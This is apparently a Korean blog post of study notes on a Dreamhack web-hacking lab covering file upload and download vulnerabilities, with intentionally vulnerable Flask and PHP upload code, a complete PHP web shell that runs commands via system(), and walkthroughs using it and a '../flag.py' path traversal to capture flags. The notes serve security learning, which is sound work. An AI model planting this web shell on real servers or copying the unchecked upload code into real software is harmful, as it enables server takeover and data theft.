STAGE 8 : File Vulnerability
File Vulnerability
> ServerSide : File Vulnerability
File Upload Vulnerability | File Download Vulnerability |
- 공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점 - 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생 - 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있다. - Path Traversal과 악성 파일 업로드로 분류된다. |
- 웹 서비스의 파일 시스템에 존재하는 파일을 다운로드하는 과정에서 발생하는 보안 취약점 - 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드 받을 수 있다. - 설정 파일, 패스워드 파일, 데이터 베이스 백업 본 등을 다운로드 하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있다. |
Path Traversal
: 업로드에 존재하는 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점
- 파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용한다.
- 위와 같은 제한이 없으면 악의적인 이용자가 웹 서버의 소스코드나 서버에 있는 중요 시스템 파일을 덮어 쓸 위험이 있다.
▷ 파일 업로드 기능에 Path Traversal 취약점이 있는 웹 서비스 코드
from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
f.save("./uploads/" + f.filename)
return 'Upload Success'
else:
return """
<form action="/fileUpload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit"/>
</form>
"""
if __name__ == '__main__':
app.run()
- /fileUpload는 POST요청을 받으면, 클라이언트가 전송한 파일을 ./uploads에 저장한다.
- 이용자가 입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약하다.
- ex) 공격자가 ../ 와 같은 메타문자를 사용하면 uploads를 벗어나 상위 디렉토리에도 파일을 업로드 할 수 있다.
▶ 정상적인 요청
- 파일을 정상적으로 업로드하면 아래와 같이 HTTP요청이 전송된다.
- 요청의 filename 필드의 값이 위 코드 내 f.filename 변수의 값이 된다.
- 이처럼 요청을 보내면 uploads 폴더에 test.txt가 생성된다.
▶ 악의적인 요청
- 아래는 filename 필드를 변조해서 Path Traversal을 수행하는 HTTP 요청이다. filename에 .. 이 포함되어 있으므로 상위 디렉토리 파일이 저장된다.
- 요청을 전송하면 아래와 같이 app.py 파일 위치와 같은 디렉토리에 hack.py가 생성된다. 만약 app.py를 덮어쓴다면, 서버가 재실행될 때 임의의 파이썬 코드를 실행할 수 있다.
▶ 악성 파일 업로드
- 악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점을 의미한다.
▷ 웹 셸
- 웹 서버는 .php, .jsp, .asp와 같은 확장자의 파일을 Common Gateway Interface(CGI)로 실행하고, 그 결과를 이용자에게 반환한다.
- 아래 사진은 이용자가 요청한 파일의 확장자가 정규표현식 ".+\.ph(p[3457]?|t|tml)$"를 만족하면, x-httpd-php로 핸들링하게 하는 Apache 설정 파일이다.
- x-httpd-php는 PHP 엔진이며 요청한 파일을 실행하고, 그 결과를 반환한다.
- .php, .php3, .phtml이 위의 정규표현식을 만족한다.
- 많은 웹 서버들이 php 파일에 대해 위와 같은 핸들링을 지원한다.
- 따라서 공격자가 임의의 php 소스 파일을 .php 확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행되도록 할 수 있다.
▷ 악의적인 웹 리소스
- 웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리한다.
- 만약 요청한 파일의 확장자가 .html이거나, 반환된 Content-Type 헤더가 text/html일 경우 응답은 HTML 엔진으로 처리된다.
- 파일의 확장자가 .png, .jpg 등의 이미지 확장자이거나 Content-Type이 image/png일 경우에는 이미지로 랜더링 된다.
- 만약 공격자가 서버에 exploit.html을 업로드하고, 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이라면, 브라우저는 이를 HTML로 해석된다. exploit.html에 악의적인 스크립트를 삽입하면, Cross-Site-Scripting (XSS) 공격으로 이어질 수 있다.
File Download Vulnerability
: 웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점이며, 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 대 발생한다.
- 웹 서비스는 이용자가 업로드한 파일을 다운로드 받거나 이미지를 불러올 때 특정 디렉토리에 있는 파일만 접근하도록 해야 한다.
- Path Traversal을 이용한 파일 다운로드 취약점을 파일 이름을 직접 입력 받아 임의 디렉토리에 있는 파일을 다운로드 받을 수 있는 취약점을 말한다.
- 아래는 파일 다운로드 취약점이 자주 발생하는 URL 패턴이다.
[함께실습] File Vulnerability
> Exercise : File Vulnerability
▶ 웹 서비스 분석
▷ 인덱스 페이지
- index.php는 list.php와 upload.php로 이동하는 메뉴를 출력한다.
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
▷ 파일 목록 리스팅
- list.php는 $directory의 파일들 중 ., .., index.html을 제외하고 나열한다.
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
▷ 파일 업로드
- upload.php는 이용자가 업로드한 파일을 uploads폴더에 복사하며, 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 통해 접근할 수 있다.
- 만약 같은 이름의 파일이 있다면 “already exists”라는 메시지를 반환한다. 업로드할 파일에 대해 어떠한 검사도 하지 않으므로, 웹 셸 업로드 공격에 취약하다.
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
▶ 익스플로잇
▷ php 웹 셸 업로드
- 웹 셸 업로드하고 방문하면, 서버의 셸을 획득할 수 있다.
//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 )
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
▷ flag 획득
- cat /flag.txt로 플래그를 획득한다.
위 사진과 같이 php 코드를 작성하여 아래 사진에서 이 파일을 업로드 해주었다.
List 를 들어갔더니 내가 업로드 한 shell.php가 있었고, 이를 선택하였더니 안에 flag가 있었다.
[혼자실습] File Vulnerability
#!/usr/bin/env python3
import os
import shutil
from flask import Flask, request, render_template, redirect
from flag import FLAG
APP = Flask(__name__)
UPLOAD_DIR = 'uploads'
@APP.route('/')
def index():
files = os.listdir(UPLOAD_DIR)
return render_template('index.html', files=files)
@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
if request.method == 'POST':
filename = request.form.get('filename')
content = request.form.get('content').encode('utf-8')
if filename.find('..') != -1:
return render_template('upload_result.html', data='bad characters,,')
with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
f.write(content)
return redirect('/')
return render_template('upload.html')
@APP.route('/read')
def read_memo():
error = False
data = b''
filename = request.args.get('name', '')
try:
with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
data = f.read()
except (IsADirectoryError, FileNotFoundError):
error = True
return render_template('read.html',
filename=filename,
content=data.decode('utf-8'),
error=error)
if __name__ == '__main__':
if os.path.exists(UPLOAD_DIR):
shutil.rmtree(UPLOAD_DIR)
os.mkdir(UPLOAD_DIR)
APP.run(host='0.0.0.0', port=8000)
아래와 같이 hello라고 내용을 적어 업로드 해주었다.
Home에 업로드한 flag가 생겼다.
flag를 들어갔더니 아래와 같이 업로드 한 내용을 확인할 수 있었다.
URL이 http://host3.dreamhack.games/read?name= 뒤가 계속 바뀌는 것을 확인 할 수 있었고, flag.py의 상위 디렉터리인 ../flag.py로 변경하였다.
그랬더니 아래와 같이 flag를 획득할 수 있었다.
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] Web Hacking STAGE 10 (0) | 2022.08.27 |
---|---|
[Dreamhack] Web Hacking STAGE 9 (0) | 2022.08.24 |
[Dreamhack] Web Hacking STAGE 7 (0) | 2022.08.09 |
[Dreamhack] Web Hacking STAGE 6 (0) | 2022.08.02 |
[Dreamhack] Web Hacking STAGE 5 (0) | 2022.07.25 |